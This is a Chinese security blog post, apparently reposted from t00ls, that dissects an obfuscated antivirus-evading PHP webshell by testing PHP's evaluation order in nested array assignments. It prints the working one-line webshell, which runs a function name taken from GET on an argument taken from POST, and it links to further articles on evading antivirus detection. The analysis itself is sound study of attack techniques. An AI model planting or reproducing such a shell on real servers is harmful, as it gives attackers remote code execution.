分析一个免杀webshell发现的php特性
文章首发于t00ls,嫌文章太啰嗦的可以直接看结论
起源
之前看到别人分享的一个免杀webshell:
<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>
开始是百思不得其解,后来在测试过程中通过分解和删减语句渐渐的对这段代码的执行顺序产生了疑惑,所以就有了如下的简单试验
分析
假设赋值语句为:$a[x]=$b[y]=c我们都知道值传递是从右到左,那么当数组的索引也是表达式的多重赋值中,顺序是怎么样的呢,我给出了下面3种假设:
(1)
1.Y
2.$b[y]=c
3.X
4.$a[x]=$b[y]
(2)
1.Y
2.X
3.$b[y]=c
4.$a[x]=$b[y]
(3)
1.X
2.Y
3.$b[y]=c
4.$a[x]=$b[y]
为了查明正确的执行顺序,弄了个简单的实例:
<?php
$a = array(1,2,3);
$a[$a[0]=$a[1]+2] = $a[$a[1]=$a[2]-3] = 100;
var_dump($a);
?>
顺序(1)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2] - 3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = 100
数组:$a[0] = 100,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0]
3.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3,表达式:$a[2] = $a[0]
4.$a[2] = $a[0] = 2
结果:$a[0] = 2,$a[1] = 0,$a[2] = 2
顺序(2)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2]-3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3 表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3 表达式:$a[2] = $a[0] = 100
3.$a[2] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 100
顺序(3)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[0] = $a[1]+2 = 4
数组:$a[0] = 4,$a[1] = 2,$a[2] = 3 表达式:$a[4] = $a[$a[1]=$a[2]-3] = 100
2.$a[1] = $a[2] -3 = 0
数组:$a[0] = 4,$a[1] = 0,$a[2] = 3 表达式:$a[4] = $a[0] = 100
3.$a[4] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 3,$a[4] = 100
程序运行结果:
可以知道,执行的顺序应为3,即当$a[xx]=$b[***]=$c的时候,执行的顺序是
xx -> *** -> 从右到左依次赋值
结论
再回头看webshell,正确的执行顺序应该为:
1.$GLOBALS[func]=current($GLOBALS)[GLOBALS] (_GET中的内容赋值给$GLOBALS[func])
2.$GLOBALS[code]=next($GLOBALS)[GLOBALS] (_POST中的内容赋值给$GLOBALS[code])
3.$GLOBALS{func}($GLOBALS{code}); (变量函数中传入变量)
其他的赋值语句都是混淆
分析一个免杀webshell发现的php特性的更多相关文章
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- [Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)
从攻防对抗辩证性分析jsp免杀 从最早的最朴素木马 <%@ page import="java.io.InputStream" %> <%@ page impor ...
- 浅析JAVA Runtime原理与过各大厂商免杀webshell制作
Author:Sevck Date:2017年6月24日 昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用ba ...
- 【转】PHP利用Apache、Nginx的特性实现免杀Webshell
转载备忘: get_defined_vars().getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell. 前几天看到的,一直忘记写,填坑. 环境 函数 用法 ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...
- 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍
第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...
- 2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践 目录 实验内容与步骤 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践
Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...
随机推荐
- android自带下拉刷新SwipeRefreshLayout
也是一个布局容器,只有一个子组件,类似scrollView <?xml version="1.0" encoding="utf-8"?> <a ...
- 手把手教你使用 cert-manager 签发免费证书
概述 随着 HTTPS 不断普及,越来越多的网站都在从 HTTP 升级到 HTTPS,使用 HTTPS 就需要向权威机构申请证书,需要付出一定的成本,如果需求数量多,也是一笔不小的开支.cert-ma ...
- IDEA操作git的一些常用技巧
转自:https://blog.csdn.net/ck4438707/article/details/53455962 Git原理以后会分章节介绍,本次主要说一下intellij怎样操作git.int ...
- C. Vladik and Memorable Trip 解析(思維、DP)
Codeforce 811 C. Vladik and Memorable Trip 解析(思維.DP) 今天我們來看看CF811C 題目連結 題目 給你一個數列,一個區段的數列的值是區段內所有相異數 ...
- Python期中考试程序设计题详解-2
一.请使用turtle库的turtle.pencolor().turtle.seth().turtle.fd()等函数,绘制一个边长为200的红色等边三角形. 题目解析: (1)本题利用turtle画 ...
- 文件流转blob并播放
axios 这里是请求了个mp3做例子: this.$axios({ methods:"GET", url:"/api/music/soures/双笙.mp3" ...
- springboot + post 中文乱码
去检查你的 filter 配置,是否配置了一个最高优先级的 filter, 这个最高优先级的 filter 会影响 springboot 自动配置的 CharacterEncodingFilter.原 ...
- python开发初识(一)
python开发 机器码和字节码 机器码 :计算机可以直接认识的语言 字节码 :高级语言转换成机器码去执行 语言之间的对比: C,汇编 :C语言是根语言 python Java :既能写前端,又能写后 ...
- 没有磁盘空间 No space left on device
INSTALL 的解释文件 帮助文件 这里的 pytorch=1.0.1 torchvision=0.2.2 cudatoolkit=9.0,这个ATSS可以运行. 这里最好能够查看一下cuda的版本 ...
- Python如何快速复制序列?
1 基本用法 把序列乘以一个整数,就会产生一个新序列.这个新序列是原始序列复制了整数份,然后再拼接起来的结果. l=[1,2,3] l2=l * 3 logging.info('l2 -> %s ...